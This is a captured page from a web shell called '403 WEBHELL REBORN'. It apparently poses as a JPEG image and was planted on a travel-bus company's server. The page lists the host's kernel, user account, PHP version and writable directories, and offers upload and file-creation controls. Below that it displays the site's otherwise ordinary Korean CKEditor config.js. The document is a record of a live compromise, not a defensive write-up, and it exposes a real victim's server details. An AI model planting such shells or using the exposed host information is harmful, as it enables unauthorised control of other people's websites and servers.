ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/js/ckeditor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/js/ckeditor/config.js
/**
 * @license Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
 * For licensing, see LICENSE.html or http://ckeditor.com/license
 */

CKEDITOR.editorConfig = function( config ) {
	// Define changes to default configuration here. For example:
	// config.language = 'fr';
	// config.uiColor = '#AADC6E';

	// 기본 언어
	config.defaultLanguage = 'ko';

	// 인터페이스 로드 언어
	config.language = 'ko';

	// 엔터키 모드
	// CKEDITOR.ENTER_P (1): new <p> paragraphs are created;
	// CKEDITOR.ENTER_BR (2): lines are broken with <br> elements;
	// CKEDITOR.ENTER_DIV (3): new <div> blocks are created.	
	config.enterMode = CKEDITOR.ENTER_P;

	// 쉬프트+엔터키 모드
	// CKEDITOR.ENTER_P (1): new <p> paragraphs are created;
	// CKEDITOR.ENTER_BR (2): lines are broken with <br> elements;
	// CKEDITOR.ENTER_DIV (3): new <div> blocks are created.	
	config.shiftEnterMode = CKEDITOR.ENTER_P;

	// 기본 글꼴
	config.font_defaultLabel = '굴림';

	// 글꼴 설정
	config.font_names = 
		'굴림;돋움;바탕;궁서;' +
		config.font_names;

/*
	config.toolbarGroups = [
		{ name: 'document',	   groups: [ 'mode', 'document', 'doctools'] },
		{ name: 'clipboard',   groups: [ 'clipboard', 'undo' ] },
		//{ name: 'editing',     groups: [ 'find', 'selection', 'spellchecker' ] },
		{ name: 'links'},
		{ name: 'insert'},
//		{ name: 'forms' },
		{ name: 'tools' ,    groups: ['uicolor']},
		{ name: 'others' },
		'/',
		{ name: 'basicstyles', groups: [ 'basicstyles', 'cleanup' ] },
		{ name: 'paragraph',   groups: [ 'list', 'indent', 'blocks', 'align', 'bidi' ] },
		{ name: 'styles' groups:['styles',]},
		{ name: 'colors' }
		//{ name: 'about' }
	];
*/

// 툴바 설정
	config.toolbar = 'Click';

	// 툴바(Basic) 설정
	config.toolbar_Basic =
	[
		['Font','FontSize','-','Bold','Italic','Underline','Strike','-','TextColor','BGColor','-','NumberedList','BulletedList','-','Link','Unlink']
	];

	// 툴바(Full) 설정
	config.toolbar_Full =
	[
		['Source','-','Save','NewPage','Preview','-','Templates'],
		['Cut','Copy','Paste','PasteText','PasteFromWord','-','Print', 'SpellChecker', 'Scayt'],
		['Undo','Redo','-','Find','Replace','-','SelectAll','RemoveFormat'],
		['Form', 'Checkbox', 'Radio', 'TextField', 'Textarea', 'Select', 'Button', 'ImageButton', 'HiddenField'],
		'/',
		['Bold','Italic','Underline','Strike','-','Subscript','Superscript'],
		['NumberedList','BulletedList','-','Outdent','Indent','Blockquote','CreateDiv'],
		['JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock'],
		['BidiLtr', 'BidiRtl'],
		['Link','Unlink','Anchor'],
		['Image','Flash','Table','HorizontalRule','Smiley','SpecialChar','PageBreak'],
		'/',
		['Styles','Format','Font','FontSize'],
		['TextColor','BGColor'],
		['Maximize', 'ShowBlocks','-','About']
	];

	// 툴바(Click) 설정 (추가)
	config.toolbar_Click = 
	[
		['Font','FontSize'],
		['Bold','Italic','Underline','Strike','-',
		'TextColor','BGColor','-',
		'JustifyLeft','JustifyCenter','JustifyRight','JustifyBlock','-',
		'RemoveFormat','Maximize','ShowBlocks'],
		'/',
		['NumberedList','BulletedList','-',
		'Outdent','Indent','-',
		'Link','Unlink','Anchor','-',
		'Image','Flash'],
		['Table','HorizontalRule','Smiley','SpecialChar','PageBreak','-',
		'Find','Replace','-',
		'Preview','Source','-','PasteFromWord','youtube','Print']
	];

	/*config.toolbarCanCollapse = true;
	config.toolbarStartupExpanded = true;*/

	// 하위메뉴 지연 (0:제거)
	config.menu_subMenuDelay = 0;

	// 에디터 리사이즈
	config.resize_enabled = false;

	// 에디터 시작시 툴바 보임 설정
	config.toolbarStartupExpanded = true;

	//붙여넣기에 태그 삭제기능 제거
	config.pasteFromWordRemoveFontStyles = false;
	config.pasteFromWordRemoveStyles = false;

	config.allowedContent = true;
	config.forcePasteAsPlainText = false;

	// empty tag 허용
	config.protectedSource.push(/<a[^>]*><\/a>/g); // a tag
	config.protectedSource.push(/<div[^>]*><\/div>/g); 
	config.protectedSource.push(/<span[^>]*><\/span>/g); 
	config.protectedSource.push(/<i[^>]*><\/i>/g); 

	config.removeDialogTabs = 'image:Link;image:advanced;';
	config.removePlugins = 'flash,iframe,uicolor,specialchar,blockquote,div,templates,smiley,bidi';
	//config.removeButtons = 'Underline,Subscript, Superscript,Styles';

	config.filebrowserImageUploadUrl = '/js/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Images';

	CKEDITOR.on( 'dialogDefinition', function( ev ){
			// Take the dialog name and its definition from the event data.
			var dialogName = ev.data.name;
			var dialogDefinition = ev.data.definition;
			// Check if the definition is from the dialog we're
			// interested in (the 'image' dialog). This dialog name found using DevTools plugin
			if ( dialogName == 'image' ){
					// Remove the 'Link' and 'Advanced' tabs from the 'Image' dialog.
					dialogDefinition.removeContents( 'Link' );    //링크 탭 제거
					dialogDefinition.removeContents( 'advanced' );  //상세정보 탭 제거

					 // Get a reference to the 'Image Info' tab.
					var infoTab = dialogDefinition.getContents( 'info' );  //info탭을 제거하면 이미지 업로드가 안된다.
					// Remove unnecessary widgets/elements from the 'Image Info' tab.
					infoTab.remove( 'txtHSpace'); //info 탭 내에 불필요한 엘레멘트들 제거
					infoTab.remove( 'txtVSpace');
					infoTab.remove( 'txtBorder');
					infoTab.remove( 'txtWidth');
					infoTab.remove( 'txtHeight');
					infoTab.remove( 'ratioLock');
			}
	});

	/*CKEDITOR.on('dialogDefinition', function(ev) {
        // Take the dialog name and its definition from the event data
        var dialogName = ev.data.name;
        var dialogDefinition = ev.data.definition;
        var editor = ev.editor;
        if (dialogName == 'image') {
           dialogDefinition.onOk = function(e) {
        	   console.log(e.sender.originalElement);
              var imageSrcUrl = e.sender.originalElement.$.src;
              var imgHtml = CKEDITOR.dom.element.createFromHtml("<img src=" + imageSrcUrl + " alt='' align='right'/>");
              editor.insertElement(imgHtml);
           };
        }
	});*/

	CKEDITOR.on( 'dialogDefinition', function( ev ){
			// Take the dialog name and its definition from the event data.
			var dialogName = ev.data.name;
			var dialogDefinition = ev.data.definition;
			// Check if the definition is from the dialog we're
			// interested in (the 'image' dialog). This dialog name found using DevTools plugin

			if ( dialogName == 'youtube' ){
					var infoTab = dialogDefinition.getContents('youtubePlugin');
					
					infoTab.remove('txtWidth');
					infoTab.remove('txtHeight');
					infoTab.remove('txtUrl');
			}
	});
};

Anon7 - 2021